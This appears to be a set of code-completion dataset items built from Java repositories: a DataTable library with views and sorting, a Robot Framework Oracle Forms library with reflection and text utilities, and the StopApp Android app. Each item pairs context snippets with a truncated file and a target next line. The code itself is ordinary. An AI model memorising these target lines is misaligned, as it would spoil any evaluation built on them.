rows The collection of rows in the view.\n */\n private DataView(DataTable table, DataRowCollection rows) {\n this.table = table;\n this.rows = rows;\n }\n\n /**\n * Returns an iterator over elements of type DataRow.\n *\n * @return an Iterator.\n */\n @Override\n public Iterator<DataRow> iterator() {\n return this.rows.iterator();\n }\n\n /**\n * @return Returns the table name.\n */\n @Override\n public String name() {\n return this.table.name();\n }\n\n /**\n * @return Returns the columns collection.\n */\n @Override\n public DataColumnCollection columns() {\n return table.columns();\n }\n\n /**\n * @return Returns the row collection.\n */\n @Override\n public DataRowCollection rows() {\n return this.rows;\n }\n\n /**\n * Accessor to a specific row by index.\n *\n * @return Returns a single row.\n */\n @Override\n public DataRow row(Integer rowIdx) {\n return this.rows.get(rowIdx);\n }\n\n /**\n * Accessor to a specific column by index.\n *\n * @param colIdx The index of the column to return.\n * @return Returns a single column.\n */\n public IDataColumn column(Integer colIdx) {\n return this.table.column(colIdx);\n }\n\n /**\n * Accessor to a specific column by name.\n *\n * @param colName The name of the column to return.\n * @return Returns a single column.\n */\n public IDataColumn column(String colName) {\n return this.table.column(colName);\n }\n\n /**\n * Returns the rowCount / row count of the table.\n *\n * @return The row count of the table.\n */\n @Override\n public Integer rowCount() {\n return this.rows().rowCount();\n }\n\n /**\n * Return a new DataTable based on this table (clone).\n *\n * @return Returns a new DataTable based on the columns and data in this view.\n */\n @Override\n public DataTable toDataTable() {\n // Get the list of row indexes used in this data view.\n Seq<Integer> rowIndexes = this.rows.map(DataRow::rowIdx);\n\n // Build a set of new columns with just the data at the specified indexes.\n return this.table.columns()\n .map(col -> col.buildFromRows(rowIndexes).get())\n .collect(transform(cols -> DataTable.build(this.name(), cols).get()));\n }\n\n /**\n * Return a new Data View based on this table\n *\n * @return A new Data View based on this table.\n */\n @Override\n public DataView toDataView() {\n return DataView.build(this.table, this.rows).get();\n }\n\n /**\n * Filters the row data using the specified predicate,\n * returning the results as a DataView over the original table.\n *\n * @param predicate The filter criteria.\n * @return Returns a DataView with the filter results.\n */\n public DataView filter(Predicate<DataRow> predicate) {\n return this.rows.filter(predicate);\n }\n\n /**\n * Map operation across the Data Rows in the table.\n *\n * @param mapper The mapper function.\n * @param <U> The return type.\n * @return Returns the mapped results.\n */\n public <U> Seq<U> map(Function<? super DataRow, ? extends U> mapper) {\n return this.rows.map(mapper);\n }\n\n /**\n * FlatMap implementation for the DataRowCollection class.\n *\n * @param <U> Mapped return type.\n * @param mapper The map function.\n * @return Returns a sequence of the applied flatMap.\n */\n public <U> Seq<U> flatMap(Function<? super DataRow, ? extends Iterable <? extends U>> mapper) {\n return this.rows.flatMap(mapper);\n }\n\n /**\n * Reduce implementation for the DataRowCollection class.\n *\n * @param reducer The reduce function.\n * @return Returns a single, reduced DataRow.\n */\n public DataRow reduce(BiFunction<? super DataRow, ? super DataRow, ? extends DataRow> reducer) {\n return this.rows.reduce(reducer);\n }\n\n /**\n * GroupBy implementation for the DataRowCollection class.\n *\n * @param grouper The group by function.\n * @return Returns a map containing the grouped data.\n */\n public <C> Map<C, Vector<DataRow>> groupBy(Function<? super DataRow, ? extends C> grouper) {\n return this.rows.groupBy(grouper);\n }\n\n /**\n * Fold Left implementation for the DataRowCollection class.\n *\n * @param <U> Fold return type.\n * @param folder The fold function.\n * @return Returns a single value of U.\n */\n public <U> U foldLeft(U zero, BiFunction<? super U, ? super DataRow, ? extends U> folder) {\n return this.rows.foldLeft(zero, folder);\n }\n\n /**\n * Fold Right implementation for the DataRowCollection class.\n *\n * @param <U> Fold return type.\n * @param folder The fold function.\n * @return Returns a single value of U.\n */\n public <U> U foldRight(U zero, BiFunction<? super DataRow, ? super U, ? extends U> folder) {\n return this.rows.foldRight(zero, folder);\n }\n\n /**\n * Table QuickSort by single column name.\n *\n * @param columnName The column name to sort.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(String columnName) {\n return this.quickSort(columnName, SortOrder.Ascending);\n }\n\n /**\n * Table QuickSort by single column name and a sort order.\n *\n * @param columnName The column name to sort.\n * @param sortOrder The sort order.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(String columnName, SortOrder sortOrder) {\n SortItem sortItem = new SortItem(columnName, sortOrder);\n return DataSort.quickSort(this.table, this.rows.asSeq(), Stream.of(sortItem));\n }\n\n /**\n * Table QuickSort by single column index.\n *\n * @param columnIndex The column index to sort.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(Integer columnIndex) {\n return quickSort(columnIndex, SortOrder.Ascending);\n }\n\n /**\n * Table QuickSort by single column index and a sort order.\n *\n * @param columnIndex The column index to sort.\n * @param sortOrder The sort order.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(Integer columnIndex, SortOrder sortOrder) {\n SortItem sortItem = new SortItem(columnIndex, sortOrder);\n return DataSort.quickSort(this.table, this.rows.asSeq(), Stream.of(sortItem));\n }\n\n /**\n * Table QuickSort by single sort item.\n *\n * @param sortItem The sort item.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(SortItem sortItem) {\n return this.quickSort(Stream.of(sortItem));\n }\n\n /**\n * Table QuickSort by multiple sort items.\n *\n * @param sortItems The sort items.\n * @return Returns the results as a sorted Data View.\n */\n @Override\n public Try<DataView> quickSort(Iterable<SortItem> sortItems) {\n return DataSort.quickSort(this.table, this.rows.asSeq(), Stream.ofAll(sortItems));\n }\n\n /**\n * Builds an instance of a DataView.\n * DataRows are validated before creation, returning a Failure on error.\n *\n * @param table The underlying table.\n * @param rows The Data Rows.\n * @return Returns a DataView wrapped in a Try.\n */\n public static Try<DataView> build(DataTable table, Iterable<DataRow> rows) {\n return Match(DataRowCollection.build(table, rows)).of(\n Case($Success($()), dataRows -> Try.success(new DataView(table, dataRows))),\n Case($Failure($()), Try::failure)\n );\n }\n}", "public final class SortItem {\n\n private final ColumnIdentity columnIdentity;\n private final SortOrder sortOrder;\n\n /**\n * SortItem constructor. Identify by column name.\n *\n * @param columnName The column name.\n */\n public SortItem(String columnName) {\n this(new ColumnIdentity(columnName), SortOrder.Ascending);\n }\n\n /**\n * SortItem constructor. Identify by column name.\n *\n * @param columnName The column name.\n * @param sortOrder The sort order.\n */\n public SortItem(String columnName, SortOrder sortOrder) {\n this(new ColumnIdentity(columnName), sortOrder);\n }\n\n /**\n * SortItem constructor. Identify by column index.\n *\n * @param columnIndex The column index.\n */\n public SortItem(Integer columnIndex) {\n this(new ColumnIdentity(columnIndex), SortOrder.Ascending);\n }\n\n /**\n * SortItem constructor. Identify by column index.\n *\n * @param columnIndex The column index.\n * @param sortOrder The sort order.\n */\n public SortItem(Integer columnIndex, SortOrder sortOrder) {\n this(new ColumnIdentity(columnIndex), sortOrder);\n }\n\n private SortItem(ColumnIdentity columnIdentity, SortOrder sortOrder) {\n Guard.notNull(columnIdentity, \"columnIdentity\");\n Guard.notNull(sortOrder, \"sortOrder\");\n\n this.columnIdentity = columnIdentity;\n this.sortOrder = sortOrder;\n }\n\n /**\n * Returns the sort order.\n *\n * @return Returns the sort order.\n */\n public SortOrder sortOrder() {\n return this.sortOrder;\n }\n\n /**\n * Returns the column identity.\n *\n * @return Returns the column identity.\n */\n public ColumnIdentity columnIdentity() {\n return this.columnIdentity;\n }\n\n /**\n * Returns the column from the table.\n *\n * @param table The table to get the column from.\n * @return Returns the column.\n */\n public Try<IDataColumn> getColumn(DataTable table) {\n return this.columnIdentity.getColumn(table);\n }\n}", "public enum SortOrder {\n Ascending,\n Descending\n}" ]
import com.github.martincooper.datatable.DataTable; import com.github.martincooper.datatable.DataTableBuilder; import com.github.martincooper.datatable.DataView; import com.github.martincooper.datatable.sorting.SortItem; import com.github.martincooper.datatable.sorting.SortOrder; import io.vavr.collection.List; import io.vavr.collection.Stream; import io.vavr.control.Try; import org.junit.Test; import static org.junit.Assert.assertTrue;
/** * Tests for Quick Sorting. * Created by Martin Cooper on 29/07/2017. */ public class QuickSortTests { @Test public void testSimpleQuickSort() { DataTable table = DataTableBuilder .create("NewTable") .withColumn(Integer.class, "IntCol", List.of(3, 20, 4, 18, 0, -30, 100)) .build().get();
Try<DataView> view = table.quickSort("IntCol", SortOrder.Descending);
2
dvanherbergen/robotframework-formslibrary
src/main/java/org/robotframework/formslibrary/operator/StatusBarOperator.java
[ "public class FormsLibraryException extends RuntimeException {\n\n private static final long serialVersionUID = 1L;\n\n public static final boolean ROBOT_SUPPRESS_NAME = true;\n\n public FormsLibraryException(String message) {\n super(message);\n }\n\n public FormsLibraryException(Throwable t) {\n super(t);\n }\n\n public FormsLibraryException(String message, Throwable t) {\n super(message, t);\n }\n}", "public class ByComponentTypeChooser implements ComponentChooser {\r\n\r\n private ComponentType[] allowedTypes;\r\n private int index;\r\n\r\n /**\r\n * @param index\r\n * Specifies which occurrence of the component in the context to\r\n * select. Use -1 to select all occurrences.\r\n * @param allowedTypes\r\n * Specifies which component types to include.\r\n */\r\n public ByComponentTypeChooser(int index, ComponentType... allowedTypes) {\r\n this.index = index;\r\n this.allowedTypes = allowedTypes;\r\n }\r\n\r\n @Override\r\n public boolean checkComponent(Component component) {\r\n\r\n for (ComponentType type : allowedTypes) {\r\n if (type.matches(component) && component.isShowing()) {\r\n if (index <= 0) {\r\n return true;\r\n } else {\r\n index--;\r\n }\r\n }\r\n }\r\n return false;\r\n }\r\n\r\n @Override\r\n public String getDescription() {\r\n StringBuilder builder = new StringBuilder();\r\n for (ComponentType t : allowedTypes) {\r\n if (builder.length() > 0) {\r\n builder.append(\" / \");\r\n }\r\n builder.append(t);\r\n }\r\n return builder.toString();\r\n }\r\n\r\n}\r", "public enum ComponentType {\r\n\r\n\t// @formatter:off\r\n CHECK_BOX_WRAPPER(\"oracle.forms.ui.VCheckbox\"),\r\n CHECK_BOX(\"oracle.ewt.lwAWT.LWCheckbox\"),\r\n LWList(\"oracle.ewt.lwAWT.LWList\"),\r\n TEXT_FIELD(\"oracle.forms.ui.VTextField\"),\r\n ALERT_PANE(\"oracle.ewt.alert.AlertPane\"),\r\n LABEL(\"oracle.ewt.lwAWT.LWLabel\"),\r\n JLABEL(\"javax.swing.JLabel\"),\r\n DIALOG(\"oracle.apps.fnd.wf.LWCommonDialog\"),\r\n BUTTON(\"oracle.forms.ui.VButton\"),\r\n PUSH_BUTTON(\"oracle.ewt.button.PushButton\"),\r\n MENU(\"oracle.ewt.lwAWT.lwMenu.LWMenu\"),\r\n EXTENDED_CHECKBOX(\"oracle.forms.ui.ExtendedCheckbox\"),\r\n EXTENDED_FRAME(\"oracle.forms.ui.ExtendedFrame\"),\r\n BUFFERED_FRAME(\"oracle.ewt.swing.JBufferedFrame\"),\r\n JFRAME(\"javax.swing.JFrame\"),\r\n TITLE_BAR(\"oracle.ewt.lwAWT.lwWindow.laf.TitleBar\"),\r\n FORM_DESKTOP(\"oracle.forms.ui.FormDesktopContainer\"),\r\n MECOMS_VALUES(\"fcs.validationgraph.bean.MECOMSValues\"),\r\n TAB_BAR(\"oracle.ewt.tabBar.TabBar\"),\r\n SELECT_FIELD(\"oracle.forms.ui.VPopList\"),\r\n TREE(\"oracle.ewt.dTree.DTree\"),\r\n TREE_ITEM(\"oracle.ewt.dTree.DTreeItem\"),\r\n TEXT_AREA(\"oracle.forms.ui.FLWTextArea\"),\r\n WINDOW(\"oracle.forms.ui.FWindow\"),\r\n LIST_VIEW(\"oracle.forms.ui.ListView\"),\r\n STATUS_BAR(\"oracle.ewt.statusBar.StatusBar\"),\r\n STATUS_BAR_TEXT_ITEM(\"oracle.ewt.statusBar.StatusBarTextItem\"),\r\n SCROLL_BAR(\"oracle.ewt.lwAWT.LWScrollbar\"),\r\n SCROLL_BAR_BOX(\"oracle.ewt.scrolling.scrollBox.EwtLWScrollbar\"), \r\n ORACLE_MAIN(\"oracle.forms.engine.Main\"),\r\n WFPROCESS(\"oracle.apps.fnd.wf.WFProcess\"),\r\n LW_BUTTON(\"oracle.ewt.lwAWT.LWButton\"),\r\n JRADIO_BUTTON(\"javax.swing.JRadioButton\"),\r\n JTEXT_FIELD(\"javax.swing.JTextField\"),\r\n LWTEXT_FIELD(\"oracle.ewt.lwAWT.lwText.LWTextField\"),\r\n JNUMBER_FIELD(\"fcs.validationgraph.util.JNumberField\"),\r\n\tJBUTTON(\"javax.swing.JButton\");\r\n\t\r\n // @formatter:on\r\n\r\n\tpublic static final ComponentType[] ALL_BUTTON_TYPES = new ComponentType[] { BUTTON, PUSH_BUTTON, LW_BUTTON, JBUTTON, JRADIO_BUTTON };\r\n\tpublic static final ComponentType[] ALL_TEXTFIELD_TYPES = new ComponentType[] { TEXT_FIELD, TEXT_AREA, SELECT_FIELD, JNUMBER_FIELD, JTEXT_FIELD,\r\n\t\t\tLWTEXT_FIELD };\r\n\tpublic static final ComponentType[] ALL_SCROLL_BAR_TYPES = new ComponentType[] { SCROLL_BAR, SCROLL_BAR_BOX };\r\n\r\n\tprivate String className;\r\n\r\n\tprivate ComponentType(String className) {\r\n\t\tthis.className = className;\r\n\t}\r\n\r\n\tpublic String toString() {\r\n\t\treturn className;\r\n\t}\r\n\r\n\t/**\r\n\t * Check if a given object matches this component type.\r\n\t */\r\n\tpublic boolean matches(Object o) {\r\n\t\treturn className.equals(o.getClass().getName());\r\n\t}\r\n}\r", "public class Logger {\r\n\r\n public static void debug(String message) {\r\n if (DebugUtil.isDebugEnabled()) {\r\n System.out.println(\"~ \" + message);\r\n }\r\n }\r\n\r\n public static void info(String message) {\r\n System.out.println(message);\r\n }\r\n\r\n public static void error(Throwable t) {\r\n t.printStackTrace();\r\n }\r\n}\r", "public class ObjectUtil {\r\n\r\n\t/**\r\n\t * Remove brackets () from method path.\r\n\t */\r\n\tprivate static String cleanMethodPath(String methodPath) {\r\n\r\n\t\tif (methodPath == null || methodPath.trim().length() == 0) {\r\n\t\t\treturn null;\r\n\t\t}\r\n\t\treturn methodPath.replaceAll(\"\\\\(\", \"\").replaceAll(\"\\\\)\", \"\");\r\n\t}\r\n\r\n\t/**\r\n\t * Invoke an object method that returns a boolean result.\r\n\t */\r\n\tpublic static boolean getBoolean(Object object, String methodName) {\r\n\r\n\t\ttry {\r\n\t\t\tMethod m = object.getClass().getMethod(cleanMethodPath(methodName));\r\n\t\t\treturn (Boolean) m.invoke(object);\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new FormsLibraryException(\"Could not invoke method \" + methodName, e);\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Invoke an object method which should not return null.\r\n\t */\r\n\tpublic static Object getNonNullResult(Object object, String methodName, String message) {\r\n\r\n\t\tObject result = invokeMethod(object, cleanMethodPath(methodName));\r\n\t\tif (result == null) {\r\n\t\t\tthrow new FormsLibraryException(message + \" - \" + object.getClass().getName() + \".\" + methodName + \" returned null. \");\r\n\t\t}\r\n\t\treturn result;\r\n\t}\r\n\r\n\t/**\r\n\t * Call an object method and return the result. The path can contain\r\n\t * multiple levels, e.g. getContext.getFirstEntry.getText\r\n\t * \r\n\t * @return string content or null if any object in the call graph is null.\r\n\t */\r\n\tpublic static String getString(Object object, String methodPath) {\r\n\r\n\t\tString path = cleanMethodPath(methodPath);\r\n\r\n\t\tif (path == null) {\r\n\t\t\treturn null;\r\n\t\t}\r\n\r\n\t\tString[] methodsToCall = new String[] { path };\r\n\t\tif (path.indexOf('.') != -1) {\r\n\t\t\tmethodsToCall = path.split(\"\\\\.\");\r\n\t\t}\r\n\r\n\t\tfor (String methodName : methodsToCall) {\r\n\r\n\t\t\ttry {\r\n\t\t\t\tMethod m = object.getClass().getMethod(methodName);\r\n\t\t\t\tobject = m.invoke(object);\r\n\t\t\t} catch (Exception e) {\r\n\t\t\t\tLogger.error(e);\r\n\t\t\t\tobject = null;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (object != null) {\r\n\t\t\treturn object.toString();\r\n\t\t}\r\n\t\treturn null;\r\n\t}\r\n\r\n\t/**\r\n\t * Invoke an object method.\r\n\t */\r\n\tpublic static Object invokeMethod(Object object, String methodName) {\r\n\r\n\t\ttry {\r\n\t\t\tMethod m = object.getClass().getMethod(cleanMethodPath(methodName));\r\n\t\t\treturn m.invoke(object);\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new FormsLibraryException(\"Could not invoke method \" + methodName, e);\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t/**\r\n\t * Invoke an object method with a boolean arg.\r\n\t */\r\n\tpublic static Object invokeMethodWithBoolArg(Object object, String methodName, boolean value) {\r\n\r\n\t\ttry {\r\n\r\n\t\t\tMethod m = object.getClass().getMethod(cleanMethodPath(methodName), boolean.class);\r\n\t\t\treturn m.invoke(object, value);\r\n\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new FormsLibraryException(\"Could not invoke method \" + methodName, e);\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Invoke an object method with a string arg.\r\n\t */\r\n\tpublic static void invokeMethodWithStringArg(Object object, String methodName, String value) {\r\n\r\n\t\ttry {\r\n\r\n\t\t\tMethod m = object.getClass().getMethod(cleanMethodPath(methodName), String.class);\r\n\t\t\tm.invoke(object, value);\r\n\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new FormsLibraryException(\"Could not invoke method \" + methodName, e);\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t/**\r\n\t * Invoke an object method with a specified argument type.\r\n\t */\r\n\tpublic static Object invokeMethodWithTypedArg(Object object, String methodName, String argType, Object value) {\r\n\r\n\t\ttry {\r\n\t\t\tMethod[] methods = object.getClass().getDeclaredMethods();\r\n\t\t\tfor (Method m : methods) {\r\n\t\t\t\tif (m.getName().equals(cleanMethodPath(methodName))) {\r\n\t\t\t\t\tClass<?>[] pTypes = m.getParameterTypes();\r\n\t\t\t\t\tif (pTypes != null && pTypes.length == 1 && (pTypes[0].toString().equals(argType) || pTypes[0].getName().equals(argType))) {\r\n\t\t\t\t\t\treturn m.invoke(object, value);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t} catch (Exception e) {\r\n\t\t\te.printStackTrace();\r\n\t\t\tthrow new FormsLibraryException(\"Could not invoke method \" + methodName, e);\r\n\t\t}\r\n\t\treturn null;\r\n\t}\r\n\r\n\t/**\r\n\t * Invoke an object method with an int arg.\r\n\t */\r\n\tpublic static Object invokeMethodWithIntArg(Object object, String methodName, int value) {\r\n\r\n\t\ttry {\r\n\r\n\t\t\tMethod m = object.getClass().getMethod(cleanMethodPath(methodName), int.class);\r\n\t\t\treturn m.invoke(object, value);\r\n\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new FormsLibraryException(\"Could not invoke method \" + methodName, e);\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Invoke an object method with a two int arguments\r\n\t */\r\n\tpublic static Object invokeMethodWith2IntArgs(Object object, String methodName, int value1, int value2) {\r\n\r\n\t\ttry {\r\n\r\n\t\t\tMethod m = object.getClass().getMethod(cleanMethodPath(methodName), int.class, int.class);\r\n\t\t\treturn m.invoke(object, value1, value2);\r\n\r\n\t\t} catch (Exception e) {\r\n\t\t\tthrow new FormsLibraryException(\"Could not invoke method \" + methodName, e);\r\n\t\t}\r\n\t}\r\n\r\n\tprivate static Field getField(Class<?> clazz, String fieldName) {\r\n\t\tClass<?> tmpClass = clazz;\r\n\t\tdo {\r\n\t\t\tfor (Field field : tmpClass.getDeclaredFields()) {\r\n\t\t\t\tString candidateName = field.getName();\r\n\t\t\t\tif (!candidateName.equals(fieldName)) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tfield.setAccessible(true);\r\n\t\t\t\treturn field;\r\n\t\t\t}\r\n\t\t\ttmpClass = tmpClass.getSuperclass();\r\n\t\t} while (clazz != null);\r\n\t\tthrow new FormsLibraryException(\"Unable to get field \" + fieldName);\r\n\t}\r\n\r\n\tpublic static Object getField(Object object, String name) {\r\n\t\tif (name.indexOf(\".\") == -1) {\r\n\t\t\tField field = getField(object.getClass(), name);\r\n\t\t\tfield.setAccessible(true);\r\n\t\t\ttry {\r\n\t\t\t\treturn field.get(object);\r\n\t\t\t} catch (IllegalArgumentException | IllegalAccessException e) {\r\n\t\t\t\tthrow new FormsLibraryException(\"Unable to access the field \" + name + \" from object \" + object);\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t\tString[] parts = name.split(\"\\\\.\", 2);\r\n\t\treturn getField(getField(object, parts[0]), parts[1]);\r\n\r\n\t}\r\n\r\n\tpublic static List<String> getFieldNames(Object object) {\r\n\t\tList<String> result = new ArrayList<String>();\r\n\t\tField[] declaredFields = object.getClass().getDeclaredFields();\r\n\t\tfor (Field field : declaredFields) {\r\n\t\t\tresult.add(field.getName());\r\n\t\t}\r\n\t\treturn result;\r\n\t}\r\n\r\n\tpublic static Object getFieldIfExists(Object object, String name) {\r\n\t\tif (name.indexOf(\".\") == -1) {\r\n\t\t\tField field = getFieldIfExists(object.getClass(), name);\r\n\t\t\tif (field == null) {\r\n\t\t\t\treturn null;\r\n\t\t\t}\r\n\t\t\tfield.setAccessible(true);\r\n\t\t\ttry {\r\n\t\t\t\treturn field.get(object);\r\n\t\t\t} catch (IllegalArgumentException | IllegalAccessException e) {\r\n\t\t\t\tthrow new FormsLibraryException(\"Unable to access the field \" + name + \" from object \" + object);\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t\tString[] parts = name.split(\"\\\\.\", 2);\r\n\t\treturn getFieldIfExists(getFieldIfExists(object, parts[0]), parts[1]);\r\n\r\n\t}\r\n\r\n\tprivate static Field getFieldIfExists(Class<?> clazz, String fieldName) {\r\n\t\tClass<?> tmpClass = clazz;\r\n\t\tdo {\r\n\t\t\tfor (Field field : tmpClass.getDeclaredFields()) {\r\n\t\t\t\tString candidateName = field.getName();\r\n\t\t\t\tif (!candidateName.equals(fieldName)) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tfield.setAccessible(true);\r\n\t\t\t\treturn field;\r\n\t\t\t}\r\n\t\t\ttmpClass = tmpClass.getSuperclass();\r\n\t\t} while (tmpClass != null);\r\n\t\treturn null;\r\n\t}\r\n\r\n}\r", "public class TextUtil {\r\n\r\n\t/**\r\n\t * Extract the first segment of the input. For example for \"Menu1 > Menu2\",\r\n\t * it will return \"Menu1\".\r\n\t */\r\n\tpublic static String getFirstSegment(String input, String divider) {\r\n\r\n\t\tif (input == null || input.trim().length() == 0) {\r\n\t\t\treturn null;\r\n\t\t}\r\n\r\n\t\tif (input.indexOf(divider) != -1) {\r\n\t\t\treturn input.split(divider)[0].trim();\r\n\t\t} else {\r\n\t\t\treturn input.trim();\r\n\t\t}\r\n\r\n\t}\r\n\r\n\t/**\r\n\t * Return the input text with the first segment removed.\r\n\t */\r\n\tpublic static String getNextSegments(String input, String divider) {\r\n\r\n\t\tif (input.indexOf(divider) != -1) {\r\n\t\t\treturn input.substring(input.indexOf(divider) + 1).trim();\r\n\t\t} else {\r\n\t\t\treturn null;\r\n\t\t}\r\n\t}\r\n\r\n\t/**\r\n\t * Strip new line characters from text.\r\n\t */\r\n\tpublic static String removeNewline(String input) {\r\n\t\treturn input.replaceAll(\"\\\\r?\\\\n\", \" \");\r\n\t}\r\n\r\n\t/**\r\n\t * Check if a given string matches the expected string pattern.\r\n\t * \r\n\t * The expected pattern can contain wildcards.\r\n\t * \r\n\t * @param actual\r\n\t * text found in the appliction\r\n\t * @param expected\r\n\t * text described in the test case\r\n\t * @return true if it matches\r\n\t */\r\n\tpublic static boolean matches(String actual, String expected) {\r\n\r\n\t\tif (actual == null) {\r\n\t\t\tactual = \"\";\r\n\t\t}\r\n\t\tif (expected == null) {\r\n\t\t\texpected = \"\";\r\n\t\t}\r\n\r\n\t\tactual = actual.toLowerCase().trim();\r\n\t\texpected = expected.toLowerCase().trim();\r\n\r\n\t\tif (expected.endsWith(\"*\")) {\r\n\t\t\treturn actual.startsWith(expected.substring(0, expected.length() - 1));\r\n\t\t}\r\n\r\n\t\treturn actual.equals(expected);\r\n\t}\r\n\r\n\t/**\r\n\t * Concatenate array values with a separator.\r\n\t */\r\n\tpublic static String concatenateArrayElements(String[] values) {\r\n\r\n\t\tStringBuilder builder = new StringBuilder();\r\n\t\tfor (int i = 0; i < values.length; i++) {\r\n\t\t\tif (i > 0) {\r\n\t\t\t\tbuilder.append(\" - \");\r\n\t\t\t}\r\n\t\t\tbuilder.append(values[i]);\r\n\t\t}\r\n\t\treturn builder.toString();\r\n\t}\r\n\r\n\t/**\r\n\t * Concatenate set values.\r\n\t */\r\n\tpublic static String concatenateSetValues(Set<String> options) {\r\n\t\tStringBuilder builder = new StringBuilder();\r\n\t\tfor (String s : options) {\r\n\t\t\tbuilder.append(\" '\");\r\n\t\t\tbuilder.append(s);\r\n\t\t\tbuilder.append(\"'\");\r\n\t\t}\r\n\t\treturn builder.toString();\r\n\t}\r\n\r\n\tpublic static boolean isNumeric(String string) {\r\n\t\tif (string == null) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfor (int i = 0; i < string.length(); i++) {\r\n\t\t\tif (!Character.isDigit(string.charAt(i))) {\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn true;\r\n\t}\r\n\r\n}\r" ]
import org.robotframework.formslibrary.FormsLibraryException; import org.robotframework.formslibrary.chooser.ByComponentTypeChooser; import org.robotframework.formslibrary.util.ComponentType; import org.robotframework.formslibrary.util.Logger; import org.robotframework.formslibrary.util.ObjectUtil; import org.robotframework.formslibrary.util.TextUtil;
package org.robotframework.formslibrary.operator; /** * Oracle Forms default Status Bar operator. */ public class StatusBarOperator extends AbstractRootComponentOperator { /** * Create a new operator for the default status bar. */ public StatusBarOperator() {
super(new ByComponentTypeChooser(0, ComponentType.STATUS_BAR));
1
XYScience/StopApp
app/src/main/java/com/sscience/stopapp/fragment/ComponentDetailsFragment.java
[ "public class ComponentDetailsActivity extends BaseActivity {\n\n public static final String EXTRA_APP_NAME = \"app_name\";\n public static final String EXTRA_APP_PACKAGE_NAME = \"app_package_name\";\n public CoordinatorLayout mCoordinatorLayout;\n public ViewPager mViewPager;\n\n public static void actionStartActivity(Context context, AppInfo appInfo) {\n Intent intent = new Intent(context, ComponentDetailsActivity.class);\n intent.putExtra(EXTRA_APP_NAME, appInfo.getAppName());\n intent.putExtra(EXTRA_APP_PACKAGE_NAME, appInfo.getAppPackageName());\n context.startActivity(intent);\n }\n\n @Override\n protected int getContentLayout() {\n return R.layout.activity_component_details;\n }\n\n @Override\n protected void doOnCreate(@Nullable Bundle savedInstanceState) {\n setToolbar(getIntent().getStringExtra(EXTRA_APP_NAME));\n\n mCoordinatorLayout = (CoordinatorLayout) findViewById(R.id.coordinatorLayout);\n TabLayout tabLayout = (TabLayout) findViewById(R.id.tab_layout);\n mViewPager = (ViewPager) findViewById(R.id.viewpager);\n final ComponentPagerAdapter myPagerAdapter = new ComponentPagerAdapter(getSupportFragmentManager(), this);\n mViewPager.setAdapter(myPagerAdapter);\n mViewPager.setOffscreenPageLimit(3);\n tabLayout.setupWithViewPager(mViewPager);\n }\n}", "public class ComponentDetailsAdapter extends BaseCommonAdapter<List<ComponentInfo>> {\n\n public ComponentDetailsAdapter(Activity activity, RecyclerView recyclerView) {\n super(activity, recyclerView);\n }\n\n @Override\n public int getItemLayoutId() {\n return R.layout.item_component_details;\n }\n\n @Override\n public void convertCommon(ViewHolder viewHolder, List<ComponentInfo> list, int i) {\n ComponentInfo componentInfo = list.get(i);\n viewHolder.setText(R.id.tv_component, componentInfo.getComponentName()\n .substring(componentInfo.getComponentName().lastIndexOf(\".\") + 1));\n SwitchCompat sc = viewHolder.getView(R.id.switch_component);\n sc.setChecked(componentInfo.isEnable());\n }\n}", "public abstract class BaseFragment extends Fragment implements WeakHandler.IHandler, SwipeRefreshLayout.OnRefreshListener {\n\n protected boolean isVisible;\n private boolean isFirst = false;\n public WeakHandler mWeakHandler;\n private SwipeRefreshLayout mSwipeRefreshLayout;\n\n protected abstract int getContentLayout();\n\n protected abstract void doCreateView(View view);\n\n @Nullable\n @Override\n public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {\n View view = inflater.inflate(getContentLayout(), container, false);\n doCreateView(view);\n isFirst = true;\n mWeakHandler = new WeakHandler(this);\n return view;\n }\n\n @Override\n public void onDestroy() {\n super.onDestroy();\n mWeakHandler.removeCallbacksAndMessages(null);\n }\n\n // weakReference start\n @Override\n public void handleMessage(Message msg) {\n }\n // weakReference end\n\n // refresh start\n protected SwipeRefreshLayout initRefreshLayout(View view) {\n mSwipeRefreshLayout = (SwipeRefreshLayout) view.findViewById(R.id.swipeRefreshLayout);\n mSwipeRefreshLayout.setOnRefreshListener(this);\n mSwipeRefreshLayout.setColorSchemeResources(android.R.color.black);\n return mSwipeRefreshLayout;\n }\n\n protected boolean isRefreshing() {\n return mSwipeRefreshLayout.isRefreshing();\n }\n\n protected void setRefreshing(boolean refreshing) {\n mSwipeRefreshLayout.setRefreshing(refreshing);\n }\n\n protected void setSwipeRefreshEnable(boolean enable) {\n if (mSwipeRefreshLayout != null) {\n mSwipeRefreshLayout.setEnabled(enable);\n }\n }\n\n protected boolean getSwipeRefreshLayout() {\n if (mSwipeRefreshLayout != null) {\n return mSwipeRefreshLayout.isEnabled();\n }\n return false;\n }\n\n @Override\n public void onRefresh() {\n }\n // refresh end\n\n // lazy load start\n\n /**\n * viewpager切换时调用,而且是在onCreateView之前调用\n *\n * @param isVisibleToUser true:用户可见\n */\n @Override\n public void setUserVisibleHint(boolean isVisibleToUser) {\n super.setUserVisibleHint(isVisibleToUser);\n if (isVisibleToUser) {\n 